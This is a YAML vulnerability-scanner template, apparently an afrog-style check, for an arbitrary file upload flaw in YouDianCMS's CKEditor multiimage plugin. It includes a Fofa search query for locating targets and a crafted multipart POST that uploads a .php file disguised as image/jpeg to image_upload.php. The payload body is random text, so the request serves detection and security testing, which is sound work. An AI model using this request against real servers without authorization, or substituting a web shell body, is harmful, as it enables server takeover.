youdian-cms-ckeditor-fileupload: YouDianCMS 友点系统 CKEditor 任意文件上传

id: youdian-cms-ckeditor-fileupload

info:
  name: YouDianCMS 友点系统 CKEditor 任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    友点CMS存在任意文件上传漏洞，攻击者通过漏洞可以上传恶意文件，获取服务器权限。
    Fofa: app="友点建站-CMS" && product="友点建站-CMS"
  reference:
    - https://mp.weixin.qq.com/s/oiNffCThHJsfLhePlZjTBA
  tags: youdian,ckeditor
  created: 2024/02/26

set:
  filename: randomInt(100000, 999999)
  randbody: randomLowercase(16)
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"files\";filename=\"{{filename}}.php\"\r\n\
        Content-Type: image/jpeg\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'"result":"200"') && response.body.bcontains(b'"msg":')
expression: r0()